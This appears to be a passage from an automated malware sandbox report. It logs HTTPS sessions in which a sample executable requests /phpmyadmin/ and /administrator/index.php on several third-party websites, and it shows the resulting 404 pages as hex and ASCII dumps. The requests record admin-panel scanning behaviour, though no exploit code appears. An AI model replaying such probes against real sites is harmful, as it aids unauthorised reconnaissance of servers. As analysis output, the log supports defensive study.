2023-11-26 05:59:34 UTC	16328	IN	Data Raw: 33 46 43 30 0d 0a 2d 62 6f 72 64 65 72 20 69 74 65 6d 2d 64 65 70 74 68 2d 35 27 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 62 65 61 6d 6c 69 6e 65 73 2d 61 63 63 65 6c 65 72 61 74 6f 72 73 2f 73 75 70 70 6f 72 74 2d 6c 61 62 73 2f 6d 69 63 72 6f 73 63 6f 70 79 2d 6c 61 62 73 2f 73 63 61 6e 6e 69 6e 67 2d 65 6c 65 63 74 72 6f 6e 2d 6d 69 63 72 6f 73 63 6f 70 65 2f 75 73 65 72 2d 69 6e 66 6f 72 6d 61 74 69 6f 6e 2d 73 65 6d 2f 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 6c 61 62 65 6c 22 3e 55 73 65 72 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 2f 6c 69 3e 3c 2f 75 6c 3e 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 27 6d 65 6e 75 2d 69 74 65 6d 20 6d Data Ascii: 3FC0-border item-depth-5'><a href="https://www.maxiv.lu.se/beamlines-accelerators/support-labs/microscopy-labs/scanning-electron-microscope/user-information-sem/" class="menu-item-label">User information</a></li><li></li></ul></li><li class='menu-item m

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.4	57546	194.47.252.115	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:33 UTC	176	OUT	GET /phpmyadmin/ HTTP/1.1 Host: www.maxiv.lu.se Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:34 UTC	534	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 33 20 47 4d 54 0d 0a 73 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 35 37 20 28 44 65 62 69 61 6e 29 0d 0a 78 2d 70 6f 77 65 72 65 64 2d 62 79 3a 20 50 48 50 2f 38 2e 32 2e 31 32 0d 0a 65 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 6c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 77 70 2d 6a 73 6f 6e 2f 3e 3b 20 72 Data Ascii: HTTP/1.1 404 Not Founddate: Sun, 26 Nov 2023 05:59:33 GMTserver: Apache/2.4.57 (Debian)x-powered-by: PHP/8.2.12expires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache, must-revalidate, max-age=0link: <https://www.maxiv.lu.se/wp-json/>; r
2023-11-26 05:59:34 UTC	13086	IN	Data Raw: 33 33 31 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 4d 41 58 20 49 56 3c 2f 74 69 74 Data Ascii: 3316<!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"><link rel="profile" href="http://gmpg.org/xfn/11"><title>Page not found – MAX IV</tit
2023-11-26 05:59:34 UTC	16322	IN	Data Raw: 33 46 42 41 0d 0a 73 68 65 65 74 27 20 69 64 3d 27 6a 71 75 65 72 79 2d 75 69 2d 73 74 79 6c 65 73 2d 63 73 73 27 20 68 72 65 66 3d 27 2f 2f 63 6f 64 65 2e 6a 71 75 65 72 79 2e 63 6f 6d 2f 75 69 2f 31 2e 31 33 2e 31 2f 74 68 65 6d 65 73 2f 62 61 73 65 2f 6a 71 75 65 72 79 2d 75 69 2e 63 73 73 3f 76 65 72 3d 36 2e 34 2e 31 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 74 61 62 6c 65 70 72 65 73 73 2d 64 65 66 61 75 6c 74 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 74 61 62 6c 65 70 72 65 73 73 2f 63 73 73 2f 62 75 69 6c 64 2f 64 65 66 61 75 6c 74 2e 63 Data Ascii: 3FBAsheet' id='jquery-ui-styles-css' href='//code.jquery.com/ui/1.13.1/themes/base/jquery-ui.css?ver=6.4.1' media='all' /><link rel='stylesheet' id='tablepress-default-css' href='https://www.maxiv.lu.se/wp-content/plugins/tablepress/css/build/default.c
2023-11-26 05:59:34 UTC	70	IN	Data Raw: 34 30 0d 0a 32 2e 38 34 2d 33 34 2e 35 31 20 37 32 2e 34 35 2d 31 2e 34 32 20 31 2e 34 35 2d 32 2e 38 37 20 32 2e 38 39 2d 34 2e 33 35 20 34 2e 33 34 2d 31 39 2e 36 2d 31 36 2e 34 32 2d 34 32 2e 34 31 2d 0d 0a Data Ascii: 402.84-34.51 72.45-1.42 1.45-2.87 2.89-4.35 4.34-19.6-16.42-42.41-
2023-11-26 05:59:34 UTC	16328	IN	Data Raw: 33 46 43 30 0d 0a 33 32 2e 33 36 2d 36 37 2e 34 38 2d 34 37 2e 31 39 7a 22 2f 3e 3c 63 69 72 63 6c 65 20 63 78 3d 22 35 30 31 22 20 63 79 3d 22 34 35 30 22 20 72 3d 22 32 35 22 2f 3e 3c 2f 67 3e 3c 2f 73 79 6d 62 6f 6c 3e 3c 73 79 6d 62 6f 6c 20 69 64 3d 22 74 77 69 74 74 65 72 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 32 34 20 32 34 22 3e 3c 70 61 74 68 20 64 3d 22 4d 32 33 2e 39 35 34 20 34 2e 35 36 39 61 31 30 20 31 30 20 30 20 30 20 31 2d 32 2e 38 32 35 2e 37 37 35 20 34 2e 39 35 38 20 34 2e 39 35 38 20 30 20 30 20 30 20 32 2e 31 36 33 2d 32 2e 37 32 33 63 2d 2e 39 35 31 2e 35 35 35 2d 32 2e 30 30 35 2e 39 35 39 2d 33 2e 31 32 37 20 31 2e 31 38 34 61 34 2e 39 32 20 34 2e 39 32 20 30 20 30 20 30 2d 38 2e 33 38 34 20 34 2e 34 38 32 43 37 2e 36 39 31 Data Ascii: 3FC032.36-67.48-47.19z"/><circle cx="501" cy="450" r="25"/></g></symbol><symbol id="twitter" viewBox="0 0 24 24"><path d="M23.954 4.569a10 10 0 0 1-2.825.775 4.958 4.958 0 0 0 2.163-2.723c-.951.555-2.005.959-3.127 1.184a4.92 4.92 0 0 0-8.384 4.482C7.691
2023-11-26 05:59:34 UTC	16328	IN	Data Raw: 33 46 43 30 0d 0a 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 69 74 65 6d 2d 64 65 70 74 68 2d 33 27 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 75 73 65 72 2d 61 63 63 65 73 73 2f 73 61 66 65 74 79 2f 69 6e 2d 63 61 73 65 2d 6f 66 2d 65 6d 65 72 67 65 6e 63 79 2f 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 6c 61 62 65 6c 22 3e 49 6e 20 63 61 73 65 20 6f 66 20 65 6d 65 72 67 65 6e 63 79 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 27 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 69 74 65 6d 2d 64 65 70 74 68 2d 33 27 3e 3c 61 20 68 Data Ascii: 3FC0enu-item-object-page item-depth-3'><a href="https://www.maxiv.lu.se/user-access/safety/in-case-of-emergency/" class="menu-item-label">In case of emergency</a></li><li class='menu-item menu-item-type-post_type menu-item-object-page item-depth-3'><a h
2023-11-26 05:59:34 UTC	16328	IN	Data Raw: 33 46 43 30 0d 0a 3c 6c 69 20 63 6c 61 73 73 3d 27 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 68 61 73 2d 63 68 69 6c 64 72 65 6e 20 69 74 65 6d 2d 64 65 70 74 68 2d 34 27 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 62 65 61 6d 6c 69 6e 65 73 2d 61 63 63 65 6c 65 72 61 74 6f 72 73 2f 62 65 61 6d 6c 69 6e 65 73 2f 62 6c 6f 63 68 2f 75 73 65 72 2d 69 6e 66 6f 72 6d 61 74 69 6f 6e 2f 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 6c 61 62 65 6c 22 3e 55 73 65 72 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 3c 2f 61 3e 3c 73 70 61 6e 20 63 6c 61 Data Ascii: 3FC0<li class='menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children item-depth-4'><a href="https://www.maxiv.lu.se/beamlines-accelerators/beamlines/bloch/user-information/" class="menu-item-label">User information</a><span cla
2023-11-26 05:59:34 UTC	16312	IN	Data Raw: 33 46 42 30 0d 0a 72 61 79 2d 73 6f 75 72 63 65 2f 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 6c 61 62 65 6c 22 3e 58 2d 72 61 79 20 73 6f 75 72 63 65 3c 2f 61 3e 3c 2f 6c 69 3e 3c 2f 75 6c 3e 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 27 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 68 61 73 2d 63 68 69 6c 64 72 65 6e 20 69 74 65 6d 2d 64 65 70 74 68 2d 34 27 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 62 65 61 6d 6c 69 6e 65 73 2d 61 63 63 65 6c 65 72 61 74 6f 72 73 2f 62 65 61 6d 6c 69 6e 65 73 2f 66 6c 65 78 70 65 73 2f 65 78 Data Ascii: 3FB0ray-source/" class="menu-item-label">X-ray source</a></li></ul></li><li class='menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children item-depth-4'><a href="https://www.maxiv.lu.se/beamlines-accelerators/beamlines/flexpes/ex
2023-11-26 05:59:34 UTC	16328	IN	Data Raw: 33 46 43 30 0d 0a 61 74 65 72 69 61 6c 2d 69 63 6f 6e 20 73 75 62 6d 65 6e 75 2d 74 6f 67 67 6c 65 72 20 70 6c 75 73 2d 69 63 6f 6e 22 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 22 74 72 75 65 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 74 65 72 69 61 6c 2d 69 63 6f 6e 73 2d 73 68 61 72 70 22 3e 61 64 64 3c 2f 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 74 65 72 69 61 6c 2d 69 63 6f 6e 20 73 75 62 6d 65 6e 75 2d 74 6f 67 67 6c 65 72 20 64 2d 6e 6f 6e 65 20 6d 69 6e 75 73 2d 69 63 6f 6e 22 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 22 74 72 75 65 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 74 65 72 69 61 6c 2d 69 63 6f 6e 73 2d 73 68 61 72 70 22 3e 72 65 6d 6f 76 65 3c 2f 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 75 Data Ascii: 3FC0aterial-icon submenu-toggler plus-icon" aria-hidden="true"><span class="material-icons-sharp">add</span></span><span class="material-icon submenu-toggler d-none minus-icon" aria-hidden="true"><span class="material-icons-sharp">remove</span></span><u
2023-11-26 05:59:34 UTC	16328	IN	Data Raw: 33 46 43 30 0d 0a 69 6f 6e 2f 73 63 61 6e 6e 69 6e 67 2d 70 72 6f 62 65 2d 6d 69 63 72 6f 73 63 6f 70 65 2f 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 6c 61 62 65 6c 22 3e 4d 69 63 72 6f 73 63 6f 70 65 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 27 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 69 74 65 6d 2d 64 65 70 74 68 2d 36 27 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 62 65 61 6d 6c 69 6e 65 73 2d 61 63 63 65 6c 65 72 61 74 6f 72 73 2f 73 75 70 70 6f 72 74 2d 6c 61 62 73 2f 6d 69 63 72 6f 73 63 6f 70 79 2d 6c 61 62 73 2f 73 63 61 6e 6e 69 6e Data Ascii: 3FC0ion/scanning-probe-microscope/" class="menu-item-label">Microscope</a></li><li class='menu-item menu-item-type-post_type menu-item-object-page item-depth-6'><a href="https://www.maxiv.lu.se/beamlines-accelerators/support-labs/microscopy-labs/scannin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.4	57550	34.149.87.45	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:33 UTC	238	OUT	GET /en/administrator/index.php HTTP/1.1 Host: www.dstaq.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.dstaq.com/en/administrator
2023-11-26 05:59:33 UTC	1079	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 38 36 35 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 61 6e 67 75 61 67 65 3a 20 65 6e 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 36 30 30 0d 0a 58 2d 57 69 78 2d 52 65 71 75 65 73 74 2d 49 64 3a 20 31 37 30 30 39 37 38 33 37 33 2e 34 30 34 31 30 33 32 38 35 38 31 30 34 36 37 35 31 34 38 0d 0a 41 67 65 3a 20 30 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 53 65 72 76 65 72 3a 20 50 65 70 79 61 6b 61 2f 31 2e 31 39 2e 31 30 Data Ascii: HTTP/1.1 404 Not FoundContent-Length: 2865Content-Type: text/html; charset=UTF-8Content-Language: enStrict-Transport-Security: max-age=3600X-Wix-Request-Id: 1700978373.4041032858104675148Age: 0Cache-Control: no-cacheServer: Pepyaka/1.19.10
2023-11-26 05:59:33 UTC	173	IN	Data Raw: 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 0a 20 20 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6e 67 2d 61 70 70 3d 22 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d Data Ascii: ... --><!doctype html>... --><html ng-app="wixErrorPagesApp"><head> <meta name="viewport" content="width=device-width,initial-scale=1, maximum-scale=1, user-
2023-11-26 05:59:33 UTC	1252	IN	Data Raw: 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 3c 74 69 74 6c 65 20 6e 67 2d 62 69 6e 64 3d 22 27 70 61 67 65 5f 74 69 74 6c 65 27 20 7c 20 74 72 61 6e 73 6c 61 74 65 22 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 Data Ascii: scalable=no"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title ng-bind="'page_title' \| translate"></title> <meta name="description" content=""> <meta name="viewport" content="width=device-width"> <meta name="
2023-11-26 05:59:33 UTC	1252	IN	Data Raw: 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 6a 73 2f 31 2e 32 2e 32 38 2f 69 31 38 6e 2f 61 6e 67 75 6c 61 72 2d 6c 6f 63 61 6c 65 5f 65 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2f 31 2e 31 2e 31 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 2e 30 2f 73 63 72 69 70 74 73 2f 65 Data Ascii: party/angularjs/1.2.28/i18n/angular-locale_en.js"></script><script src="//static.parastorage.com/services/third-party/angular-translate/1.1.1/angular-translate.min.js"></script><script src="//static.parastorage.com/services/wix-public/1.719.0/scripts/e
2023-11-26 05:59:33 UTC	188	IN	Data Raw: 65 67 61 72 64 6c 65 73 73 2c 20 77 65 20 72 65 63 6f 6d 6d 65 6e 64 20 79 6f 75 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 62 72 6f 77 73 65 68 61 70 70 79 2e 63 6f 6d 2f 22 3e 75 70 64 61 74 65 20 79 6f 75 72 20 62 72 6f 77 73 65 72 2e 3c 2f 61 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 21 2d 2d 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 21 2d 2d 20 65 6e 64 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: egardless, we recommend you to <a href="http://browsehappy.com/">update your browser.</a></span> </div> </div></div>... verification -->... end verification --></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.4	57581	34.149.87.45	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:33 UTC	236	OUT	GET /administrator/index.php HTTP/1.1 Host: www.2brospw.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.2brospw.com/administrator
2023-11-26 05:59:33 UTC	1085	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 61 6e 67 75 61 67 65 3a 20 65 6e 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 36 30 30 0d 0a 58 2d 57 69 78 2d 52 65 71 75 65 73 74 2d 49 64 3a 20 31 37 30 30 39 37 38 33 37 33 2e 34 32 37 31 30 33 36 33 33 38 32 39 31 33 37 39 30 32 35 0d 0a 41 67 65 3a 20 30 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 53 65 72 76 65 72 3a 20 50 65 70 79 61 6b 61 2f 31 2e 31 39 2e 31 30 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f Data Ascii: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Content-Language: enStrict-Transport-Security: max-age=3600X-Wix-Request-Id: 1700978373.4271036338291379025Age: 0Cache-Control: no-cacheServer: Pepyaka/1.19.10X-Content-Type-Optio
2023-11-26 05:59:33 UTC	167	IN	Data Raw: 62 33 31 0d 0a 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 0a 20 20 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6e 67 2d 61 70 70 3d 22 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 Data Ascii: b31 ... --><!doctype html>... --><html ng-app="wixErrorPagesApp"><head> <meta name="viewport" content="width=device-width,initial-scale=1, maximum-sca
2023-11-26 05:59:33 UTC	1252	IN	Data Raw: 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 3c 74 69 74 6c 65 20 6e 67 2d 62 69 6e 64 3d 22 27 70 61 67 65 5f 74 69 74 6c 65 27 20 7c 20 74 72 61 6e 73 6c 61 74 65 22 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c Data Ascii: le=1, user-scalable=no"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title ng-bind="'page_title' \| translate"></title> <meta name="description" content=""> <meta name="viewport" content="width=device-width"> <
2023-11-26 05:59:33 UTC	1252	IN	Data Raw: 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 6a 73 2f 31 2e 32 2e 32 38 2f 69 31 38 6e 2f 61 6e 67 75 6c 61 72 2d 6c 6f 63 61 6c 65 5f 65 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2f 31 2e 31 2e 31 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 2e Data Ascii: ices/third-party/angularjs/1.2.28/i18n/angular-locale_en.js"></script><script src="//static.parastorage.com/services/third-party/angular-translate/1.1.1/angular-translate.min.js"></script><script src="//static.parastorage.com/services/wix-public/1.719.
